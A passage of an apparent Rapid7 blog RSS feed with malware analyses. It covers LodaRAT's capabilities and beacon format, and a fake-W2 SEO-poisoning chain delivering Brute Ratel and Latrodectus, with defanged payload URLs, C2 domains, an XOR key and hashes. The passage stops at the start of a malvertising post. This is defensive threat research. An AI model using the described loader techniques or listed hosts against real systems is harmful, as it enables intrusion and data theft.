Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this malware campaign:</p><ul><li>Suspicious Process - LodaRAT Malware Executed</li><li>Suspicious Process - Renamed AutoIt Interpreter</li></ul><h2>Technical Analysis</h2><p>In this section we will briefly describe the overall capabilities of LodaRAT. For the full capability list, please see our <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/LodaRat">LodaRAT repository</a> on GitHub. It's worth mentioning that most of the LodaRAT samples we investigated as part of the 2024 campaign had a string obfuscation mechanism. We build a Python script to decrypt those strings and make an AutoIt script human-readable.</p><p>The LodaRAT string deobfuscator is available to the community and can be downloaded <a href="https://github.com/rapid7/Rapid7-Labs/blob/main/IOCs/LodaRat/lodarat_string_decryptor.py">here</a>. Some of the samples were also packed with the UPX packer.</p><p>LodaRAT execution starts with a check for a specifically named window — for example, `UOMGAYFFBC`. This is done to make sure that only one instance of the malware is executed on the system. Next, the malware changes its window title. It also checks whether the infected OS is Windows 10 or 11. Then, it defines local variables and facilitates registry persistence by adding a new value under the `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` registry key (<a href="https://attack.mitre.org/techniques/T1547/001/">T1547.001</a>). Persistence is not always achieved by adding a new registry value. However, Rapid7 observed that some LodaRAT samples instead created a new scheduled task that will execute a compiled AutoIt every minute (<a href="https://attack.mitre.org/techniques/T1053/">T1053</a>), while others did not attempt to establish persistence at all. Interestingly, in both cases where Rapid7 did not observe a new registry value being added for persistence, the malware still attempted to delete the registry value during the uninstall process.</p><p>The malware also checks if one of the following registry values is set:</p><ul><li>HKCU\Software\Win32\data</li><li>HKCU\Software\Win32\img</li><li>HKCU\Software\Win32\keyx</li><li>HKCU\Software\Win32\imgCli</li><li>HKCU\Software\Win32\pidx</li></ul><p>All the above keys are set by the malware in response to a specific command from the command-and-control (C2) server. The malware checks whether Windata and Windata\mon folders exist in the user's %AppData% directory, and if not, it creates them. It also sets the mon directory attributes to System and Hidden to evade detection <a href="https://attack.mitre.org/techniques/T1564/001/http://">(T1564.001)</a>.</p><p>The malware will then start a TCP connection to the C2 server, capture the victim's screen, and save the capture in the mon folder <a href="https://attack.mitre.org/techniques/T1113/http://">(T1113)</a>. The C2 beacon contains basic victim information, such as:</p><ol><li>Whether the user has Administrator rights; if they do, the Admin string will be passed to the C2 server, otherwise the passed parameter will be a string that varies from sample to sample.</li><li>Username</li><li>OS version and architecture</li><li>Whether any anti-virus(AV) solution is running on the system; the malware will tell the C2 server No if no AV solution is found, and Disabled in cases where it is present but not running.</li><li>Host IP address</li><li>Desktop resolution</li><li>Whether the endpoint is a laptop or a desktop</li><li>Number of files in the mon folder</li></ol><p>That information will be combined into the following packet:<br/>x|&lt;Admin/harcoded_string&gt;|x|&lt;Username&gt;|&lt;OS Version&gt;|&lt;OS Architecture&gt;| | |&lt;Disabled/No&gt;|&lt;Host IP address&gt;|ddd|Pr|&lt;Desktop Height&gt;|X2|&lt;Desktop Width&gt;|X3|&lt;Laptop/Desktop&gt;|&lt;Amount of files in mon folder&gt;|beta</p><p>In the response, the RAT waits on a command from the C2 server. While a full list of LodaRAT capabilities can be found <a href="https://github.com/rapid7/Rapid7-Labs/blob/main/IOCs/LodaRat/Full%20Capablity%20List.txt">here</a>, notable capabilities include:</p><ol><li>Downloading and executing additional payloads: We were able to spot the use of the ngrok reverse proxy utility based on the command the malware executes when receiving it from the C2 server. We can also assess with medium confidence that one other tool downloaded from the C2 server is a lateral movement utility that exploits the SMB protocol to drop and/or execute a malicious binary on a remote host. This assumption is based on malware’s attempt to connect to an internal IP on port 445, after which it receives a tool from the C2 server and uses that utility to run .bin file on the remote host.</li><li>Executing commands on the victim's host</li><li>Controlling the victim’s mouse</li><li>Screen capturing</li><li>Stealing browser cookies and credentials</li><li>Disabling Windows Firewall</li><li>File enumeration and exfiltration</li><li>Webcam recording</li><li>Microphone recording</li><li>New local user creation</li></ol><p>In addition, the malware is capable of opening and closing a CD tray, creating a GUI chat window while the conversation is saved to a file.</p><h2>IOCs</h2><p>An updated IOC list can be found <a href="https://github.com/rapid7/Rapid7-Labs/blob/main/IOCs/LodaRat/IOC's.txt">here</a>.</p><h2>Conclusion</h2><p>LodaRAT shows that even older malware can still be a serious threat if it works well enough. While new malware families pop up all the time with fancy updates, LodaRAT has stayed mostly the same since 2021, yet it’s still spreading and infecting systems worldwide. The recent campaign, with its ability to steal credentials from browsers like Microsoft Edge and Brave, proves that small tweaks can keep malware effective without major updates. The fact that LodaRAT keeps working so well reminds us that even older threats shouldn't be underestimated.</p><div><h4>NEVER MISS AN EMERGING THREAT</h4><p>Be the first to learn about the latest vulnerabilities and cybersecurity news.</p><a href="#">Subscribe Now</a></div>]]></description>
      <link>https://www.rapid7.com/blog/post/2024/11/12/lodarat-established-malware-new-victim-patterns</link>
      <guid isPermaLink="false">bltda40ebf8ffdda239</guid>
      <category><![CDATA[Malware]]></category>
      <category><![CDATA[Threat Intel]]></category>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Natalie Zargarov]]></dc:creator>
      <pubDate>Tue, 12 Nov 2024 14:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbb7be14729557756/683ddd6c237ea6008191c17d/GettyImages-1014112770.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Malware Campaign Lures Users With Fake W2 Form]]></title>
      <description><![CDATA[<p></p><p><strong>The following analysts contributed to the research:</strong><em> Evan McCann, Matt Smith, Ipek Solak, Jake McMahon</em></p><p>Rapid7 has recently observed an campaign targeting users searching for W2 forms using the Microsoft search engine Bing. Users are subsequently directed to a fake IRS website, enticing them to download their W2 form that ultimately downloads a malicious JavaScript (JS) file instead. The JS file, when executed, downloads and executes a Microsoft Software Installer (MSI) package which in turn drops and executes a Dynamic Link Library (DLL) containing the Brute Ratel Badger.</p><p>In this blog, we will detail the attack chain and offer preventative measures to help protect users.</p><p></p><h2>Overview:</h2><p>Starting on June 21, 2024, Rapid7 observed two separate incidents in which users downloaded and executed suspicious JavaScript (JS) files linked to the URL hxxps://grupotefex[.]com/forms-pubs/about-form-w-2/. Following execution of the JS files, Rapid7 observed the download and execution of an MSI file that was responsible for dropping a suspicious DLL into the user's AppData/Roaming/ profile. Upon further analysis, Rapid7 determined that the suspicious DLL contained a Brute Ratel Badger.  Brute Ratel is a command and control framework used for red team and adversary simulation.</p><p>When executed successfully, the Brute Ratel Badger will subsequently download and inject the Latrodectus malware. Latrodectus is a stealthy backdoor used by threat actors to query information about the compromised machine, execute remote commands, and download and execute additional payloads.</p><p>On June 23, Zscaler ThreatLabz issued a <a href="https://x.com/Threatlabz/status/1804918852528357791">tweet</a> indicating that the initial access broker behind the deployment of the malware family known as Latrodectus was using Brute Ratel as a stager.</p><p>On June 24, a <a href="https://blog.reveng.ai/latrodectus-distribution-via-brc4/">blog</a> was released by reveng.ai, outlining an identical attack chain that we observed. From the posts, we noted overlapping indicators of compromise (IOC), indicating that the behavior observed was related.</p><p></p><h3>Initial Access:</h3><p>During analysis of the incidents, Rapid7 observed that users queried the search engine Bing containing the key words W2 form. They subsequently navigated to the domain appointopia[.]com, which re-directed the browser to the URL hxxps://grupotefex[.]com/forms-pubs/about-form-w-2/.</p><p>After replicating the incident in a controlled environment, we observed that following the query for w2 form 2024 using Bing, the top result is a link to the domain appointopia[.]com which claims to have W2 forms available for download.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4fef7d1bf2b7164d/683de8f7e3c8aa4174831015/Screenshot-2024-07-22-at-4.01.20-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-07-22-at-4.01.20-PM.png" asset-alt="Screenshot-2024-07-22-at-4.01.20-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4fef7d1bf2b7164d/683de8f7e3c8aa4174831015/Screenshot-2024-07-22-at-4.01.20-PM.png" data-sys-asset-uid="blt4fef7d1bf2b7164d" data-sys-asset-filename="Screenshot-2024-07-22-at-4.01.20-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-07-22-at-4.01.20-PM.png" sys-style-type="display"/></figure><p></p><p>After clicking the link, the browser is directed to the URL hxxps://grupotefex[.]com/forms-pubs/about-form-w-2/, which presents users with a fake IRS site, luring users into downloading their W2 form.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltaa91cec0ac206a8d/683de90a237ea6993191c4ac/Screenshot-2024-07-22-at-4.02.25-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-07-22-at-4.02.25-PM.png" asset-alt="Screenshot-2024-07-22-at-4.02.25-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltaa91cec0ac206a8d/683de90a237ea6993191c4ac/Screenshot-2024-07-22-at-4.02.25-PM.png" data-sys-asset-uid="bltaa91cec0ac206a8d" data-sys-asset-filename="Screenshot-2024-07-22-at-4.02.25-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-07-22-at-4.02.25-PM.png" sys-style-type="display"/></figure><p></p><p>While interacting with the hyperlinks present on the website, we observed that each time, a CAPTCHA would appear, luring the users to solve it.</p><p>Upon closer examination, users were presented with a CAPTCHA system, seemingly designed to verify human activity. However, this CAPTCHA was part of a malicious scheme. Once answered successfully, the CAPTCHA would download a malicious JavaScript file named form_ver, appending the file name with the UTC time of access, such as Form_Ver-14-00-21. The source of the downloaded JS file came from a Google Firebase URL, hxxps://firebasestorage.googleapis[.]com/v0/b/namo-426715.appspot.com/o/KB9NQzOsws/Form_Ver-14-00-21.js?alt=media&token=dd7d4363-5441-4b14-af8c-1cb584f829c7. This JavaScript file would then be responsible for downloading the next stage payload.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte8baff13633a4b65/683de91eff6aa92c7c0eaaf5/Screenshot-2024-07-22-at-4.04.23-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-07-22-at-4.04.23-PM.png" asset-alt="Screenshot-2024-07-22-at-4.04.23-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte8baff13633a4b65/683de91eff6aa92c7c0eaaf5/Screenshot-2024-07-22-at-4.04.23-PM.png" data-sys-asset-uid="blte8baff13633a4b65" data-sys-asset-filename="Screenshot-2024-07-22-at-4.04.23-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-07-22-at-4.04.23-PM.png" sys-style-type="display"/></figure><p></p><h2>Technical analysis:</h2><p>We acquired one of the JS files from the incidents that took place on June 21 and analyzed the contents in a controlled environment. We observed that the JS file contained code hidden between commented out lines. Threat actors employ this technique in order to inflate the size of their files and obfuscate their code with the goal of evading antivirus solutions and hindering reversing.</p><p>In addition, we observed that the JavaScript contained a valid Authenticode certificate issued to Brass Door Design Build Inc. Threat actors will embed valid certificates in order to exploit trust mechanisms and make the scripts appear legitimate.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc6f7b8526f7c3529/683de9334c5a09594b5e0dd3/Screenshot-2024-07-22-at-4.05.35-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-07-22-at-4.05.35-PM.png" asset-alt="Screenshot-2024-07-22-at-4.05.35-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc6f7b8526f7c3529/683de9334c5a09594b5e0dd3/Screenshot-2024-07-22-at-4.05.35-PM.png" data-sys-asset-uid="bltc6f7b8526f7c3529" data-sys-asset-filename="Screenshot-2024-07-22-at-4.05.35-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-07-22-at-4.05.35-PM.png" sys-style-type="display"/></figure><p></p><p>We analyzed the JS files and observed code resembling a technique used for extracting and executing hidden code within comments. Specifically: The code defines a ScriptHandler class that can read in a script file, parse out any lines starting with //////, and store those lines of code in an extractedCode property as seen in Figure 5. The code then defines a method runExtractedCode() that executes that extracted code using new Function(). It instantiates a ScriptHandler for the current script file, extracts the hidden code, and executes it.</p><p>This allows hiding arbitrary code within comments in a script, which will then be extracted and executed when the script is run. The comments provide a way to conceal the hidden code. This technique was used to hide malicious code within a script file designed to make the user think it is benign. When the script is executed, the concealed code would be extracted and run without the user's knowledge.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf700ce46382a1390/683de9473d7b5eba5c136914/Screenshot-2024-07-22-at-4.07.53-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-07-22-at-4.07.53-PM.png" asset-alt="Screenshot-2024-07-22-at-4.07.53-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf700ce46382a1390/683de9473d7b5eba5c136914/Screenshot-2024-07-22-at-4.07.53-PM.png" data-sys-asset-uid="bltf700ce46382a1390" data-sys-asset-filename="Screenshot-2024-07-22-at-4.07.53-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-07-22-at-4.07.53-PM.png" sys-style-type="display"/></figure><p></p><p>After cleaning up the script file, we observed that the purpose of the script was to download an MSI package from the URL hxxp://85.208.108[.]63/BST.msi and execute it.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt63256eeefa4aa5d4/683de95cff6aa90fd40eab03/Screenshot-2024-07-22-at-4.08.36-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-07-22-at-4.08.36-PM.png" asset-alt="Screenshot-2024-07-22-at-4.08.36-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt63256eeefa4aa5d4/683de95cff6aa90fd40eab03/Screenshot-2024-07-22-at-4.08.36-PM.png" data-sys-asset-uid="blt63256eeefa4aa5d4" data-sys-asset-filename="Screenshot-2024-07-22-at-4.08.36-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-07-22-at-4.08.36-PM.png" sys-style-type="display"/></figure><p></p><p>In another related incident that occurred on June 25, we observed that the JS file was downloading the payload from a similar URL, hxxp://85.208.108[.]30/neuro.msi.</p><p></p><h3>MSI Analysis</h3><p>We acquired the latest MSI file, neuro.msi, from hxxp://85.208.108[.]30/neuro.msi and analyzed the contents. We observed that the contents of the MSI file contained a Cabinet (.cab) file named disk1.cab which stored a DLL, capisp.dll.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd076205a0afc0a1a/683de96c8ac17c6aec29b0c6/Screenshot-2024-07-22-at-4.09.35-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-07-22-at-4.09.35-PM.png" asset-alt="Screenshot-2024-07-22-at-4.09.35-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd076205a0afc0a1a/683de96c8ac17c6aec29b0c6/Screenshot-2024-07-22-at-4.09.35-PM.png" data-sys-asset-uid="bltd076205a0afc0a1a" data-sys-asset-filename="Screenshot-2024-07-22-at-4.09.35-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-07-22-at-4.09.35-PM.png" sys-style-type="display"/></figure><p></p><p>We also observed that the MSI package neuro.msi contained a custom action whose function was to drop the DLL, capisp.dll,  within AppData/Roaming/ folder and execute it using rundll32.exe with the export remi.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt55a75f1b3a6b3975/683de97b3323a54b7980abcf/Screenshot-2024-07-22-at-4.10.37-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-07-22-at-4.10.37-PM.png" asset-alt="Screenshot-2024-07-22-at-4.10.37-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt55a75f1b3a6b3975/683de97b3323a54b7980abcf/Screenshot-2024-07-22-at-4.10.37-PM.png" data-sys-asset-uid="blt55a75f1b3a6b3975" data-sys-asset-filename="Screenshot-2024-07-22-at-4.10.37-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-07-22-at-4.10.37-PM.png" sys-style-type="display"/></figure><p></p><p>We obtained the DLL from the MSI installer and analyzed the contents.</p><p></p><h3>Capisp.dll Analysis</h3><p>During initial analysis, we observed the DLL was associated with the VLC media player. We also observed that the DLL contained a suspicious resource named نالوقتمتأخر located at the offset of 0x00EB2C0. We determined that the resource name نالوقتمتأخر was Arabic and translates to ‘It is late’, referring to time.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5662eff2bc1dd706/683de98a4b2b7f730ee163ff/Screenshot-2024-07-22-at-4.11.50-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-07-22-at-4.11.50-PM.png" asset-alt="Screenshot-2024-07-22-at-4.11.50-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5662eff2bc1dd706/683de98a4b2b7f730ee163ff/Screenshot-2024-07-22-at-4.11.50-PM.png" data-sys-asset-uid="blt5662eff2bc1dd706" data-sys-asset-filename="Screenshot-2024-07-22-at-4.11.50-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-07-22-at-4.11.50-PM.png" sys-style-type="display"/></figure><p></p><p>While analyzing the export function remi we observed that the function starts by storing a hardcoded string )5Nmw*CP&gt;sC%dh!E(eT6d$vp&lt;), which is reserved for later use. The function then calculates the resource located at offset (0x00EB2C0) that marks the start of the encrypted data, which will be decrypted using an XOR decryption routine with the previously stored string.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1fdd5f84a1289016/683de99fca9dfce5615268fc/Screenshot-2024-07-22-at-4.12.37-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-07-22-at-4.12.37-PM.png" asset-alt="Screenshot-2024-07-22-at-4.12.37-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1fdd5f84a1289016/683de99fca9dfce5615268fc/Screenshot-2024-07-22-at-4.12.37-PM.png" data-sys-asset-uid="blt1fdd5f84a1289016" data-sys-asset-filename="Screenshot-2024-07-22-at-4.12.37-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-07-22-at-4.12.37-PM.png" sys-style-type="display"/></figure><p></p><p>After the data is decrypted, the function then utilizes the Windows API VirtualAlloc to allocate a new region of memory in order to copy and store the decrypted data.</p><p>Using that logic, we replicated the process in Cyberchef and observed that the decrypted data resembled another Windows binary. While analyzing the new binary, we observed an interesting string, badge\_x64_rtl.bin.packed.dll. We also observed that the new binary contained yet another embedded binary.<br/> Further analysis revealed that the purpose of the decrypted binary was to load and execute the embedded binary. We identified the embedded binary as a Brute Ratel Badger (BRC4), a remote access agent in Brute Ratel. Upon successful execution, the BRC4 program attempts to establish connections to three hard coded Command and Control (C2) domains:</p><ul><li>bibidj[.]biz</li><li>barsman[.]biz</li><li>garunt[.]biz</li></ul><p>In previous versions of the attack, we observed the BRC4 program attempting to establish communication with the C2 domains barsen[.]monster and kurvabbr[.]pw.</p><p>Following execution of the BRC4 program, we observed the download of Latrodectus which was subsequently injected into the Explorer.exe process.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltaf68ea2fe4acc0d1/683de9b3bc38b17894477fa3/Screenshot-2024-07-22-at-4.15.00-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-07-22-at-4.15.00-PM.png" asset-alt="Screenshot-2024-07-22-at-4.15.00-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltaf68ea2fe4acc0d1/683de9b3bc38b17894477fa3/Screenshot-2024-07-22-at-4.15.00-PM.png" data-sys-asset-uid="bltaf68ea2fe4acc0d1" data-sys-asset-filename="Screenshot-2024-07-22-at-4.15.00-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-07-22-at-4.15.00-PM.png" sys-style-type="display"/></figure><p></p><p>We observed that the Latrodectus malware attempts to contact the following URLs:</p><ul><li>hxxps://meakdgahup[.]com/live/</li><li>hxxps://riscoarchez[.]com/live/</li><li>hxxps://jucemaster[.]space/live/</li><li>hxxps://finjuiceer[.]com/live/</li><li>hxxps://trymeakafr[.]com/live/</li></ul><p></p><h3>Conclusion</h3><p>Rapid7 has observed a recent campaign targeting users searching for W2 forms. The campaign lures users into downloading JS files masqueraded as supposed W2 forms from a fake IRS website. Once the JS files are executed, it downloads and executes MSI packages containing the Brute Ratel badger. Upon successful compromise, the threat actors follow up by deploying the malware family known as Latrodectus, a malicious loader that is used by threat actors to gain a foothold on compromised devices and deploy additional malware.</p><p></p><h2>Mitigation guidance:</h2><p>➔ Provide user awareness training that's aimed at informing users on how to identify such threats.<br/> ➔ Prevent execution of scripting files such as JavaScript and VisualBasic by changing the default ‘open-with’ settings to notepad.exe.<br/> ➔ Block or warn on uncategorized sites at the web proxy. Aside from blocking uncategorized sites, certain web proxies will display a warning page, but allow the user to continue by clicking a link in the warning page. This will stop drive-by exploits and malware from being able to download further payloads.</p><p></p><h2>Rapid7 customers:</h2><p>InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this malware campaign:</p><ul><li>Suspicious Process - WScript Runs JavaScript File from Temp Or Download Directory</li><li>Endpoint Prevention - A process attempted 'Self Injection' technique</li></ul><p></p><h2>MITRE ATT&CK Techniques</h2><table cols="3" colWidths="250,250,250"><thead><tr><th>Tactics</th><th>Technique</th><th>Description</th></tr></thead><tbody><tr><td>Resource Development</td><td>SEO Poisoning (T1608.006)</td><td>Threat Actor employed SEO poisoning, ensuring their advertisement was listed first in search results</td></tr><tr><td>Initial Access</td><td>Drive-by Compromise (T1189)</td><td>Upon successfully solving CAPTCHA, browser is directed to download a JavaScript file from another URL</td></tr><tr><td>Execution</td><td>Command and Scripting Interpreter: JavaScript (T1059.007)</td><td>User executes the downloaded JavaScript file</td></tr><tr><td>Defense Evasion</td><td>Embedded Payloads (T1027.009)</td><td>Brute Ratel payload is embedded within decrypted payload</td></tr><tr><td>Defense Evasion</td><td>Command Obfuscation (T1027.010)</td><td>Downloaded JavaScript file contains commands broken up by commented lines to hinder analysis and anti-virus scanners</td></tr><tr><td>Defense Evasion</td><td>Encrypted/Encoded File (T1027.013)</td><td>Latrodectus employs string decryption to hinder detection and analysis</td></tr><tr><td>Defense Evasion</td><td>Deobfuscate/Decode Files or Information (T1140)</td><td>DLL dropped by MSI package contains XOR routine to decrypt the Brute Ratel payload</td></tr><tr><td>Privilege Escalation</td><td>Dynamic-link Library Injection (T1055.001)</td><td>Latrodectus DLLs are injected into the Explorer.exe process</td></tr><tr><td>Command and Control</td><td>Web Protocols (T1071.001)</td><td>Brute Ratel and Latrodectus communicate with their C2 servers using HTTPS</td></tr></tbody></table><p></p><h2>Indicators of compromise:</h2><h3>Host Based Indicators (HBIs)</h3><table cols="3" colWidths="250,250,250"><thead><tr><th>Indicator</th><th>File Hash</th><th>Description</th></tr></thead><tbody><tr><td>Form_Ver-14-00-21.js</td><td>F8121922AE3A189FBAE0B17C8F5E665E29E2E13B2E7144DABA4B382432B4949E</td><td>JS File downloaded from URL hxxps://firebasestorage[.]googleapis.com/v0/b/namo-426715.appspot.com/o/KB9NQzOsws/Form_Ver-18-44-37.js?alt=media&token=dd7d4363-5441-4b14-af8c-1cb584f829c7</td></tr><tr><td>BST.msi</td><td>5b18441926e832038099acbe4a90c9e1907c9487ac14bdf4925ac170dddc24b6</td><td>MSI file downloaded from URL hxxp://85.208.108[.]63/BST.msi</td></tr><tr><td>neuro.msi</td><td>D71BFAB9CCA5DF6A28E12BA51FE5EAF0F9151514B3FD363264513347A8C5CF3A</td><td>MSI file downloaded from URL hxxp://85.208.108[.]30/nuero.msi contained within JS file</td></tr><tr><td>vpn.msi</td><td>4586250dbf8cbe579662d3492dd33fe0b3493323d4a060a0d391f20ecb28abf1</td><td>MSI file downloaded from URL hxxp://193.32.177[.]192/vpn.msi contained within JS file</td></tr><tr><td>aclui.dll</td><td>8484560C1526EE2E313A2B57F52EA5B31EDD05A0C9664BD7F60DA020871BFE6F</td><td>DLL contained within MSI file BST.msi and vpn.msi</td></tr><tr><td>capisp.dll</td><td>9B7BDB4CB71E84C5CFF0923928BF7777A41CB5E0691810AE948304C151C0C1C5</td><td>DLL contained within MSI file neuro.msi</td></tr><tr><td>BruteRatel payload</td><td>AD4A8983EDFB0DBA81E3D0BAE1AB549B500FD8A07DAF601E616B7E721D0674C6</td><td>BruteRatel decrypted payload contained within capisp.dll</td></tr></tbody></table><h3>Network Based Indicators (NBIs)</h3><table cols="2" colWidths="250,250"><thead><tr><th>Indicator</th><th>Description</th></tr></thead><tbody><tr><td>appointopia[.]com</td><td>Domain used for SEO poisoning that redirects to URL hxxps://grupotefex[.]com/forms-pubs/about-form-w-2/</td></tr><tr><td>hxxps://grupotefex[.]com/forms-pubs/about-form-w-2/</td><td>URL containing fake IRS website, luring users into trying to download W2 form</td></tr><tr><td>85.208.108[.]63</td><td>Domain hosting BST.msi</td></tr><tr><td>193.32.177[.]192</td><td>Domain hosting vpn.msi</td></tr><tr><td>85.208.108[.]30</td><td>Domain hosting neuro.msi</td></tr><tr><td>kurvabbr[.]pw</td><td>BruteRatel C2 - Payload contained within aclui.dll</td></tr><tr><td>barsen[.]monster</td><td>BruteRatel C2 - Payload contained within aclui.dll</td></tr><tr><td>barsman[.]biz</td><td>BruteRatel C2 - Payload contained within capisp.dll</td></tr><tr><td>bibidj[.]biz</td><td>BruteRatel C2 - Payload contained within capisp.dll</td></tr><tr><td>garunt[.]biz</td><td>BruteRatel C2 - Payload contained within capisp.dll</td></tr><tr><td>hxxps://meakdgahup[.]com/live/</td><td>Latrodectus C2</td></tr><tr><td>hxxps://riscoarchez[.]com/live/</td><td>Latrodectus C2</td></tr><tr><td>hxxps://jucemaster[.]space/live/</td><td>Latrodectus C2</td></tr><tr><td>hxxps://finjuiceer[.]com/live/</td><td>Latrodectus C2</td></tr><tr><td>hxxps://trymeakafr[.]com/live/</td><td>Latrodectus C2</td></tr></tbody></table><h2>Resources</h2><table cols="2" colWidths="250,250"><thead><tr><th>Article</th><th>URL</th></tr></thead><tbody><tr><td>Zscaler ThreatLabz Post</td><td><a href="https://x.com/Threatlabz/status/1804918852528357791">https://x.com/Threatlabz/status/1804918852528357791</a></td></tr><tr><td>Latrodectus Affiliate Resumes Operations Using Brute Ratel C4 Post Operation Endgame</td><td><a href="https://blog.reveng.ai/latrodectus-distribution-via-brc4/">https://blog.reveng.ai/latrodectus-distribution-via-brc4/</a></td></tr></tbody></table>]]></description>
      <link>https://www.rapid7.com/blog/post/2024/07/24/malware-campaign-lures-users-with-fake-w2-form</link>
      <guid isPermaLink="false">blte1746197a65fc880</guid>
      <category><![CDATA[Malware]]></category><dc:creator><![CDATA[Tom Elkins]]></dc:creator>
      <pubDate>Wed, 24 Jul 2024 13:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7e39d171a3c47242/683de20e65b8eae213cc8d45/gettyimages-1566680995.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Ongoing Malvertising Campaign Leads to Ransomware]]></title>
      <description><![CDATA[<h2>Executive Summary</h2><p>Rapid7 has observed an ongoing campaign to distribute trojanized installers for WinSCP and PuTTY via malicious ads on commonly used search engines, where clicking on the ad leads to typo squatted domains. In at least one observed case, the infection has led to the attempted deployment of ransomware. The analysis conducted by Rapid7 features updates to past research, including a variety of new indicators of compromise, a YARA rule to help identify malicious DLLs, and some observed changes to the malware’s functionality.  Rapid7 has observed the campaign disproportionately affects members of IT teams, who are most likely to download the trojanized files while looking for legitimate versions. Successful execution of the malware then provides the threat actor with an elevated foothold and impedes analysis by blurring the intentions of subsequent administrative actions.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8048752c7d2e01b4/683de7c2ff6aa9923e0eaa87/Screenshot-2024-05-10-at-4.03.19-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.03.19-PM.png" asset-alt="Screenshot-2024-05-10-at-4.03.19-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8048752c7d2e01b4/683de7c2ff6aa9923e0eaa87/Screenshot-2024-05-10-at-4.03.19-PM.png" data-sys-asset-uid="blt8048752c7d2e01b4" data-sys-asset-filename="Screenshot-2024-05-10-at-4.03.19-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.03.19-PM.png" sys-style-type="display"/></figure><h2>Overview</h2><p>Beginning in early March 2024, Rapid7 observed the distribution of trojanized installers for the open source utilities WinSCP and PuTTy. 